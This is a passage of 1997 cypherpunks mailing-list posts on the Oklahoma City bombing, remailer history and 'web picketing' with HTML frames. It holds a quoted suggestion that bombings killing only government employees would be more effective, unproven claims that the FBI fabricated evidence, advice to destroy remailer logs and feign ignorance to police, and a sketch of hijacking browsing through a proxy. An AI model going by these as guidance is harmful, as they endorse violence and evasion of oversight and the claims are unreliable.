>receive the punishment they so richly deserve". Neither view will help to
>further crypto-anarchy in any meaningful way.

Crypto-anarchy is like communism -- great in theory, impossible in
practice.

>  Have fun,

You too :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Choate <jchoate@tivoli.com>
Date: Wed, 4 Jun 1997 05:30:29 +0800
To: telecode@primenet.com
Subject: Re: Hacker Links page
In-Reply-To: <33945CA6.1E69@primenet.com>
Message-ID: <199706032115.QAA25185@corp.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Duffy,

> James,
> 
> With regards to the page URL listed below:
> 
> 	http://einstein.ssz.com/ravage/hacker.html
> 
> The owner of the site of one the links listed has asked to have their
> URL removed from this page. Since the source of the page was "The
> Hackers Catalog", they contacted us. We removed their link promptly,
> however, a web search showed your URL still remaining on the page. They
> have asked us to remove all links back to them, so I am asking you to
> remove the link to the "Guru's Lair" as soon as possible. It's the first
> one on the top of the page. 
> 
> Thanks for helping...
> 
> duffy
> telecode@primenet.com

Please do not send further email to 'jchoate@tivoli.com' as this has
nothing to do with my business or the issue under discussion. ALL
correspondance should occur through 'ravage@ssz.com' or phone at
512-451-7087 (8pm - 10pm CST only). Should I receive further email
at Tivoli - IBM's site I will inform them of the breach on your part.

First, let's set the record straight. I was NEVER asked to do anything.
It was DEMANDED that I take the link down. When I explained that I would
not do that I received an email accussing me of criminal libel. Not what
I would call a request by any definition of that word. I don't like being
threatened and it makes me less than cooperative when it happens.

Furthermore, why should I take it down? Does the owner plan on dropping
the site and therefore it is a dead link? Certainly I will take it down
because it reflects badly on me having dead links.

As to where the html that I currently possess came from originaly, I
don't have a clue. I received it as a piece of email from somebody quite
a while ago (memory says over a year). If it really did come from The
Hackers Catalog and they are claiming copyright on it, I have no problem
removing their html, I would replace it with the same links using my own
text and html thereby removing the infringment. Is that what you are
requesting?

The next question that needs asked is whether there is any copyrighted
material other than The Hackers Catalog claim. The link does not use
any text or graphics from the target site. It furthermore does not even
explicity identify the link. So it is clear that there is no copyrighted
material from Don or his site residing on my server.

So, the remaining question is does Don have the legal right to limit who
may link to it. I do not believe that Don has any more right to decide
who can link or furthermore visit his sight than my own. This in effect
means none.

I believe the only reasonable responce that I can have to this 'request'
is to decline on any other issue other than removing the The Hackers
Catalog and replacing it with my own file.

So, are you representing The Hackers Catalog and requesting the removal
of their fragment of html? If so then I have no problem replacing the file
as soon as I receive a written notice from a legal representative detailing
the complaint and the time period I have to correct the situation.

If you are instead representing Don and requesting that I remove that
specific link because of his disatisfaction with its location then I must
refuse. I furthermore would request, as I have of Don, to forward me the
name and number of the appropriate lawyer so that my legal council may
contact them and begin proceedings.

Have a nice day.

                                               Jim Choate
                                               The Armadillo Group
                                               ravage@ssz.com
                                               512-451-7087







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 4 Jun 1997 07:39:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <199706032319.QAA24709@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Phill writes:

> McVeigh is the racist extreemist who has committed mass murder in this
> case, not the government. While I would welcome it if you joined me in
> condeming US sponsored terorism during the cold war I don't think you
> are willing to do so.

No government can afford to behave in a way that outrages large numbers of
citizen-units, and provokes action on the part of the less mentally stable
ones.  Janet Reno sealed the fate of the federal building on the day that
she took action which resulted in numerous children being incinerated,
just so she could win a dicksizing contest with a religious extremist. 

> But this threat does not come from the state, it comes from those like
> McVeigh who will murder children to further their agenda.

I worry a lot more about the behavior of the United States, the nation
that never apologizes, the arms merchant to the world, five percent of the
population of the world that thinks it has the Manifest Destiny to dictate
to the other ninety five percent, than I worry about whether such behavior
inspired little Timmy McVeigh and others of his ilk to set off a truck
bomb. 

I think the odds are about 50/50 between McVeigh being the bomber, and
McVeigh being the first anti-government extremist sap the Feds tripped
over after their precious building blew up.  It's not as if we have the
ability to make that distinction given coerced testimony from friends,
planned leaks, and invented testimony from the FBI crime lab, all of which
could have been easily manufactured for an arbitrary suspect. 

Maybe McVeigh blew up the building, and maybe he didn't.  Like the Kennedy
assassination, the official version of the facts is now all that exists. 

> It is surprising to find that you are so willing to be an open appologist
> for McVeigh's crime but in answer to your point: No children are going to
> grow up in a better world because of McVeigh or any of his followers,
> many will not grow up at all because he murdered them.

Along with many Vietnamese children, Granadian children, Panamanian
children, and Quadaffi's baby.  At least in Oklahoma city, we didn't have
marines bulldozing the bodies of dead civilians into trenches to make
everything neat and tidy before the press arrived. 

Yes, Oklahoma city was unfortunate.  It was not remarkable or unexpected. 

If the government deliberately kills Tim Mcveigh, it will not bring back a
single dead person.  It will just demonstrate that we have a government
that deliberately kills people.  But then, we knew that already, didn't
we? 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 4 Jun 1997 04:29:10 +0800
To: cypherpunks@cyberpass.net
Subject: [OFF-TOPIC] Naming systems...
Message-ID: <199706032014.NAA06953@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim wrote:
> At 11:21 AM -0700 6/3/97, Asgaard wrote:
> 
> >*Why is it that people of finer (?) English heritage often has a double
> >second name? Someone once suggested to me that it originates from having
> >(or an ancestor having) adopted the name of both one's 'marital' father
> >and one's biological father, for reasons of property inheritance, but
> >I never believed that one. Just curious.

That's the impression I got while I lived there. Many people regard 
it as rather pretentious (pace, Phil). At my school, there was 
a student who rejoiced in the moniker (I am not making this up):

"The Honorable Jamie Darymple-Hamilton, Esq."

> Yuppies in the U.S. have often gone to the "feminist-friendly"
> hyphenization of their names, claiming it gives their children both names.
 
> (Oh yeah? It just pushes the problem one level deeper in the stack, as
> _their_ children than have to contend with being "Suzie
> Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl
> children are "Suziesdottir" and boy children are "Winstonsson.")

With the old Norse system, still used in Iceland, there is a tremendous 
namespace-collision problem. There is a fairly short list of 
acceptable first names (yes, there is a list, and you have to name your 
child from it - this is fairly common outside the US), and by the second 
generation these names, and only these names, get pushed into the surname 
namespace. Immigrants change their names to Icelandic ones as a 
requirement of citizenship. The one exception is that if you are 
still living in the place you were born, you can adopt the placename
as your surname. 

Thus, Iceland, with only 265,000 people, has phonebooks which index by 
location and profession as well as by name to reach a reasonable 
level of dis-ambiguation.

[Doubtless some Magnus Magnusson (the most common male Icelandic 
name) will correct some of the details here.]

Peter Trei (that's Estonian, if you were wondering).
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 07:40:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <19970603162831.63845@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote:
[...]
> Suffice it to say for now that many people have been on the list, and then
> dropped off. For lots of reasons. And their reasons are not something I
> feel I need to worry about. They'll do what they want to do. Some graduated
> from school, some got crypto jobs, some decided they'd had enough, some
> agreed with the basic views but were ready to move on, some despised our
> basic outlook, some were told by their employers their subversive
> activities were a career impediment, some disliked the yahoos and lunatics,
> some wanted censorship and left when they didn't get it, some never
> bothered to resubscribe after being dropped for one reason or another, and
> so on.

Some grew up.  Some, like Peter Pan, want to remain children forever.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 08:02:08 +0800
To: cypherpunks@toad.com
Subject: Re: Voluntary GAK
Message-ID: <199706032337.QAA03032@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  A while back I got a letter from the city asking me to pay a $30
"voluntary fine" for my dog running at large. I replied that I would
take care of the matter when I showed up for my "voluntary" execution.
  A few days ago, a man with a badge and a gun showed up on my doorstep
to explain that if I failed to pay the "voluntary" fine, that a summons
would be issued to require me to go to court and pay a fine.
  I can hardly wait for the city's "voluntary GAK" ordinance.

A. Volunteer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Wed, 4 Jun 1997 05:58:28 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing?...
In-Reply-To: <199706031316.IAA15007@einstein.ssz.com>
Message-ID: <3.0.1.32.19970603164718.00a218e0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 09:57 AM 6/3/97 -6, Peter Trei wrote:
>Jim Choate wrote:
>> I have been looking at how to impliment picketing on the web. To date I
have
>> been unable to come up with a way to force a connection to one machine
to go
>> through a third machine in order to express some view about the original
>> target.

There are a couple ways to do it.  One would be to implement an
"anonymizer" type scheme, where you "hijack" an unsuspecting surfer by
sending him/her off to http://www.evil.hijacker.org/www.yahoo.com, where
your server does the surfing for the victim, editing and picketing the HTML
returned.  You can do anything you want to them, your machine is in control
of the http connections.

Another method, which is quite a bit easier (and I've enclosed an example
below,) is to throw up a frame; giving the bottom of the users the screen
to wherever they surfed to, but retaining a frame on the top to play your
parade of protest animated gif banners.

Note that both of these require you to be an unscrupulous stealer of other
peoples browser space.  They also require the users arrive at your site
first, and leave via your links (their own bookmarks or typed URLs will let
them off the hook.)  I don't know of a way (short of usurping a DNS
server's authority) of getting hooked into their site from the first.  I
suppose if you ran a router between the site you wished to hijack and the
viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and
lots of code) here.

Enclosed is an example set of files that shows "permanent" frames of the
type that hang around and annoy people.  Cut'n'paste to save them to your
local machine, then open the file fooIndex.htm with your frame-enabled
browser.  Notice how the banners (picket signs) hang around even after
linking off to somewhere else.  The drawback to this method is that your
protest is not "dynamic".  If they're on your vegetarian site, and follow
your link to www.beef.com, your banners will scream "Meat is Murder."
However, if they then follow the link from www.beef.com to
www.fur-coat.com, they'll still be under "Meat is Murder" banners.  You'd
be unable to display the "Fur is Dead" banners, because the browser hasn't
been talking to you since it loaded your page.

John

-- fooIndex.htm -- cut here --
<HTML><HEAD><TITLE>Picket Line</TITLE></HEAD>
<frameset rows="80,*" framespacing="0" frameborder="0" border="0">
<frameset cols="400,*" framespacing="0" frameborder="0" border="0">
<frame src="fooTop.htm" SCROLLING="NO" NORESIZE MARGINWIDTH="6"
MARGINHEIGHT="6" >
<frame src="fooTopRight.htm" SCROLLING="NO" NORESIZE MARGINWIDTH="6"
MARGINHEIGHT="6" >
</frameset>
<frame src="fooMain.htm" SCROLLING="AUTO" NORESIZE MARGINWIDTH="0"
MARGINHEIGHT="0" BORDER="0" >
</frameset>
</HTML>
-- fooTop.htm -- cut here --
<HTML><HEAD><TITLE>FooTop Title</TITLE></HEAD>
<H4> This is FooTop. </H4>
Down with Foo!
</HTML>
-- fooTopRight.htm -- cut here --
<HTML><HEAD><TITLE>FooTopRight Title</TITLE></HEAD>
<H4> This is FooTopRight. </H4>
Down with Bar!
</HTML>
-- fooMain.htm -- cut here --
<HTML><HEAD><TITLE>FooMain Title</TITLE></HEAD>
<H4> This is FooMain. </H4>
Not to be confused with EggFooMein.
<P>
Click here to not be here.
</HTML>
-- fooBar.htm -- cut here --
<HTML><HEAD><TITLE>FooBar Title</TITLE></HEAD>
<H4> This is FooBar. </H4>
You're not where you were before, but there are still picketers hanging about.
<P>
Where we want you to go today.
</HTML>
-- end files -- cut here --

--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 07:57:13 +0800
To: cypherpunks@Algebra.COM
Subject: Who "invented" remailers?
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <v03102807afba566172be@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:29 PM -0700 6/3/97, Hallam-Baker wrote:
>> >There is absolutely nothing that the anti-government ranters contribute
>> >to the pro-cryptography movement. They are a liability at best. Stuart
>> >Baker is even now probably peddling his Clipper chip initiative in
>> >Europe holding up one of Jim Bell's rants as "proof" of his case.
>>
>> Nothing except motivation.  Anti-government ranters founded this list,
>> invented remailers, and did a lot of other good work.
>
>Actually remailers were invented by a lass called Stephi whose hobbies
>appeared to include being tied up for fun. The original remailer
>operating out of wizvax was a script that allowed anonymous posts
>into alt.sex.bondage. Then it was expanded to support a couple of
>other newsgroups such as alt.abuse. When Stephi ran out of cash to
>keep wizvax running (I have a suspicion it was something expensive
>power wise) Julf took over the code and the scripts.

While I didn't make the claim that remailers were invented by us, I think I
understand Duncan's point to refer to "true" remailers, not the
Kleinpaste/Julf form used in anon.penet.fi.

And even these were not "invented" by us, but rather were implementations,
initially by Eric Hughes and Hal Finney, then by several others (the
refinements, by Matt Ghio and Lance Cottrell, and the "premail" scripts of
Raph Levien, and others), of David Chaum's 1981 "digital mixes."

The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more
properly called an "anonymizing service," in my opinion. (I'm not familiar
with the "Stephi" story, but I know Kleinpaste wrote up a simple
anonymizing service, which he claims he did in one evening, and decided not
to support it; he transferred the code to Julf, who supported and (I
presume) enhanced it, and the rest is history).

The Julf anonymizing service was of course vulnerable to legal attacks, and
several were mounted. Julf shut the system down at about the time two of
them were causing him great trouble, the Scientologist suit, and the front
page article in a British tabloid saying his site helped child
pornographers (which is undeniably true, of course).

>I'll accept that the ranting faction do some good work but I've
>not seen anything usefull out of either Bell or Vulis unless that
>is you are an FBI agent looking to get a promotion from Freeh.

This member of the "ranting faction" is happy with what he is done. I am
not a C++ programmer and have no interest in spending my life worrying
about malloc and buffer overruns. I am of course glad that some folks do
make this their life's work.

At the first Cypherpunks physical meeting I spent a couple of hours
educating people on how Chaumian mixes work, and why they are important for
free speech and the colonization of cyberspace. I set up a paper game,
beforehand, which we played as a simulation to directly demonstrate the
important features of mixes, including message posting areas (later dubbed
"message pools" by Miron Cuperman, one of the earliest hosts of a
remailer), remailer chaining (something the Kleinpaste/Julf service cannot
offer), digital postage (which we explicitly simulated with play money
included in the envelopes), and, of course, encryption at each stage.
(Encryption was easily simulated with paper envelopes. Chained encryption
was envelopes within envelopes. Etc.)

This was in September of 1992, at the meeting organized by Eric Hughes and
myself, and attended by about 25 of the best hackers we knew in the Bay
Area, drawn from those we knew from the Hackers Conference, the Crypto
Conference, and the usual Bay Area overlapping circles (Xanadu, AMIX, VPL,
etc.).

The very next day, Sunday, Hugh Daniel, Eric Hughes, and I were reflecting
on the previous day's 12-hour meeting/dinner. The two of them--I can never
remember which one exactly--opinined that some hacks of sendmail could
allow such remailers to be built. So one weekend Eric spent two days
working on this, the first day learning enough Perl to proceed, and the
next day coding up such a hack of sendmail. He released it, and the first
crude "remailer" of the "strip headers off and resend" sort was launched.

Within a month or less, Hal Finney had added PGP encryption features.

Within a few months, about a dozen remailers existed. Chaining a message
back and forth through subsets of these remailers, encrypted at each stage,
and even going through the same remailer multiple times, was now possible.
The "mix entropy" of this routing is quite large, and is certainly vastly
more robust than Julf's anonymizer service.

(A law enforcement officer of some country might be able to find the exit
point of a message, but would then have to get "backward collusion" through
the system, into various countries. Such collusion is unlikely. Further,
some of the remailer operators have a "no logs kept" policy, so back
collusion is almost impossible. And one can always route messages through
one's self as a remailer--assuming one operates a remailer--and destroy all
records automatically and then claim completel innocence and ignorance to
the narc who shows up demanding to see message logs. By the way, in America
at least it is very difficult to get blanket warrants to search all e-mail.)

And so this was very probably what Duncan meant when he said some of the
ranting faction were the inventors of remailers.

(Both Eric and Hugh are known to rant, or at least have done so at various
times. Eric had some memorable rants at the 1995 CFP when he loudly
declared to the National Research Council fact-finding committee, "I am a
crypto anarchist.")

So, Phill, we members of the "ranting faction" have had some impact.

Frankly, I don't think the world would be better served if I went back to
school to study number theory and became another Odzylko or Shamir, even if
my genetics allowed it. Nor do I think becoming a Perl hacker is my calling.

I'm satisfied with my contributions, even if you think the ranters are
doing nothing to help the causes you apparently support.

As they say in your country, tally ho!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 08:14:03 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <19970603165035.36961@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote:
[...]
> > McVeigh ripped the heart out of the militia movement, he demonstrated
> > what it was really about. Ironically the Oaklahoma bombing may have
> > had precisely the effect McVeigh desired but in a very different 
> > sense. It was a wake up call to defend the country from fascism 
> > but the fascist threat was McVeigh and the millitia movement.
> 
> Of course, if the militia movement were to have any effect a concentrated 
> effort or even a few bombings killing only government employees would 
> have been a better course of action.

*Any* such violence on the part of militia movements will only 
generate sympathy for the victims, and harm the movement more than it 
helps.  

> > recovered from the beer hall putsch. Alternatively they can 
> > loudly claim that McVeigh was "framed" in the same way that
> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
> > so that nobody really believes it. I suspect that this script
> 
> The militias would be better to disown McVeigh and condemn his alleged 
> actions because he killed innocents. 

But they won't, because they are pathetic insects drawn to the candle
flame of violence.  Contrast that with the brilliance of the anarchist
Eward Abbey in "The Monkey Wrench Gang", where the anti-government
acts were calculated to call forth popular support. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 08:04:21 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <v03102808afba5f1c7fc4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:28 PM -0700 6/3/97, Kent Crispin wrote:
>On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote:
>[...]
>> Suffice it to say for now that many people have been on the list, and then
>> dropped off. For lots of reasons. And their reasons are not something I
>> feel I need to worry about. They'll do what they want to do. Some graduated
>> from school, some got crypto jobs, some decided they'd had enough, some
>> agreed with the basic views but were ready to move on, some despised our
>> basic outlook, some were told by their employers their subversive
>> activities were a career impediment, some disliked the yahoos and lunatics,
>> some wanted censorship and left when they didn't get it, some never
>> bothered to resubscribe after being dropped for one reason or another, and
>> so on.
>
>Some grew up.  Some, like Peter Pan, want to remain children forever.
>

At least we can expect to see Kent Crispin soon leaving the list.

Historically speaking, when writers stoop to one line insultings of the
list they leave soon thereafter.

(Vulis excepted, of course.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 4 Jun 1997 05:35:10 +0800
To: Hallam-Baker <shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970603171127.036e9fd0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:25 AM 6/3/97 -0400, Hallam-Baker wrote:

>There is absolutely nothing that the anti-government ranters contribute
>to the pro-cryptography movement. They are a liability at best. Stuart
>Baker is even now probably peddling his Clipper chip initiative in
>Europe holding up one of Jim Bell's rants as "proof" of his case.

Nothing except motivation.  Anti-government ranters founded this list, 
invented remailers, and did a lot of other good work.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5SIfIVO4r4sgSPhAQE/0QQAk5fzKoUnbJRs0x1QVyaXEW95fWHQiUzB
Bwz5ulJfTV2FT/jM1MmwBzh37hEeWPthupJcIMJR3XsINs2eVw29ZgKN0VRjYYu+
+joXjinNv5alPA/4qF/JeEGrhzr8xe5nZwXfdpzvmx/JHZnjxPBtgMZB7WO/bFeS
iBI1wZ7OYbg=
=+Wuz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 05:50:07 +0800
To: frissell@panix.com (Duncan Frissell)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <199706032129.RAA10938@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >There is absolutely nothing that the anti-government ranters contribute
> >to the pro-cryptography movement. They are a liability at best. Stuart
> >Baker is even now probably peddling his Clipper chip initiative in
> >Europe holding up one of Jim Bell's rants as "proof" of his case.
> 
> Nothing except motivation.  Anti-government ranters founded this list, 
> invented remailers, and did a lot of other good work.  

Actually remailers were invented by a lass called Stephi whose hobbies
appeared to include being tied up for fun. The original remailer
operating out of wizvax was a script that allowed anonymous posts
into alt.sex.bondage. Then it was expanded to support a couple of 
other newsgroups such as alt.abuse. When Stephi ran out of cash to
keep wizvax running (I have a suspicion it was something expensive
power wise) Julf took over the code and the scripts.

I'll accept that the ranting faction do some good work but I've 
not seen anything usefull out of either Bell or Vulis unless that
is you are an FBI agent looking to get a promotion from Freeh.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:01:26 +0800
To: cypherpunks@Algebra.COM
Subject: McVeigh is not the issue!
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <v0310280bafba6a8c2fcf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:43 AM -0700 6/3/97, Paul Bradley wrote:

>Whether McVeigh himself did it or not is questionable, I believe he did,
>this is just a gut feeling, no jury should have convicted him on the
>pathetic collection of circumstantial evidence presented.

Count me as one who believes the evidence was overwhelming. Unlike the OJ
trial, which I found myself drawn into on a daily basis, I ignored this
whole thing as much as  possible (not for ideological reasons...it just
didn't seem interesting to me). From what I did hear of it, the evidence
that he did it was positively convincing.

I've said I could understand McVeigh's motives, not that I think he was
right in doing it, and not that I think he should escape punishment or be
shown mercy. There are big differences in all of these issues.

I don't see the McVeigh issue as one where we need to get into a pissing
contest. He blew up the building, he got caught, he got convicted, and now
he'll spend another $15 million of our money appealing his conviction for
the next several or more years.

Time to move on.

What I think we can mostly all agree on are the civil liberties issues
involved in the aftermath of the OKC case, the Atlanta bombing, and the TWA
explosion. The demands for travel documents, the calls for limits on
bomb-making instructions, etc. These are clearly unconstitutional if
required by the government.

(The airlines claim the FAA is requiring traveller identity. Maybe yes,
maybe no. The airlines are profitting from the requirement, for the reasons
we've discussed here before. Any extension to further "position escrow"
(which is what I call the increasing requirements that citizen-units report
their identities when travelling) would, as I understand the Constitution,
violate various freedoms to move about with government interference.)

These are the serious issues.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 06:14:40 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706032156.RAA11085@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Geiger writes:

>That's right Phil you can sleep better now that all the evil millitia have
>been distroyed. I'm sure you woun't mind when the Constitution is gone
>too. Nothing to worry about after all you have Bill Clinton and his
>buddies to make sure your safe. They said they would and they would never
>lie.

Well I supose there is the possibility your lot might see sense and 
ask to be readmitted to the British Empire but its by no means clear
you would be re-admitted. And there would have to be reparitions for
all that confiscated British property being used without compensation...

>I'm sure if you were in Germany during the 30's that you would have
>thought the "Jewish Solution" was a good thing after all the government
>said it was.

McVeigh is the racist extreemist who has committed mass murder in this
case, not the government. While I would welcome it if you joined me in
condeming US sponsored terorism during the cold war I don't think you
are willing to do so.

>That's ok Phil 1 little white boy will fry in the electric chair. But just
>maybe your children will never have to know what it's like to live under a
>Hitler or a Stalin because there are some in this country who are willing
>to standup to the STATEST in DC who if given the chance will enslave us
>all.

But this threat does not come from the state, it comes from those like
McVeigh who will murder children to further their agenda. The militias
have not rejected the concept of a state, far from it they claim ownership
of it, they claim that they have the right to dispense law, they claim
the right to murder those who disagree with them. Their ideology is 
at root that of Musollini's fascists.

It is surprising to find that you are so willing to be an open appologist
for McVeigh's crime but in answer to your point: No children are going to
grow up in a better world because of McVeigh or any of his followers,
many will not grow up at all because he murdered them.


	Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 4 Jun 1997 09:05:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <199706040058.RAA24630@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Phil writes:

> I agree that the Julf mailer had big problems operations wise but I fear 
> that the current mixmaster setup is a bit too unweildy for naive use.

I think the current level of remailer difficulty is just fine, thank-you. 

There is nothing inherently wrong in requiring a partial clue in order to
use a remailer successfully.  Services that the inbred can use too easily
generally get nuked due to excessive public attention.  Mailmasher strikes
me as one recent obvious example. 

For technology to have a reasonable lifetime, it must have functionality
somewhere in between impossible to use, and "click here to threaten the
life of the president." 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:47:48 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Elliptic Curve Rumor
In-Reply-To: <v030209d0afb537313fa2@[139.167.130.247]>
Message-ID: <3.0.1.32.19970603181210.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>heard that Apple has a working implementation of Elliptic Curve Crypto.
NeXT had a working implementation of ECC, plus some patents.
Depending on where the MacOS/NeXtStEp/BeOS/Copland infighting goes,
the right parts of nExTsTeP may be in place to use it NeXT YeAR.

>Because of the export regulations they don't want to include it in their 
>products.  If anyone wants to try to change their minds, now would be a 
>good time.

Will Apple do anything that risks delaying getting their act together,
such as waiting for the Commerce Department to approve something
that's on their critical path?  Only if they see a lot of market in it,
or somebody pushes the right political buttons very hard,
or if it makes the unwritten list of no-explainable-reason features
that any software release ends up being delayed by.
Or - depending on the implementation - if it's not on the critical path,
and they find some way to budget the workers to do the job
without slowing down other critical path items.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 4 Jun 1997 09:22:33 +0800
To: Kirk Fort <kirkfort@teleplex.net>
Subject: Re: okc trial
In-Reply-To: <199706030148.VAA26888@teleplex.net>
Message-ID: <Pine.LNX.3.95.970603182227.1821A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

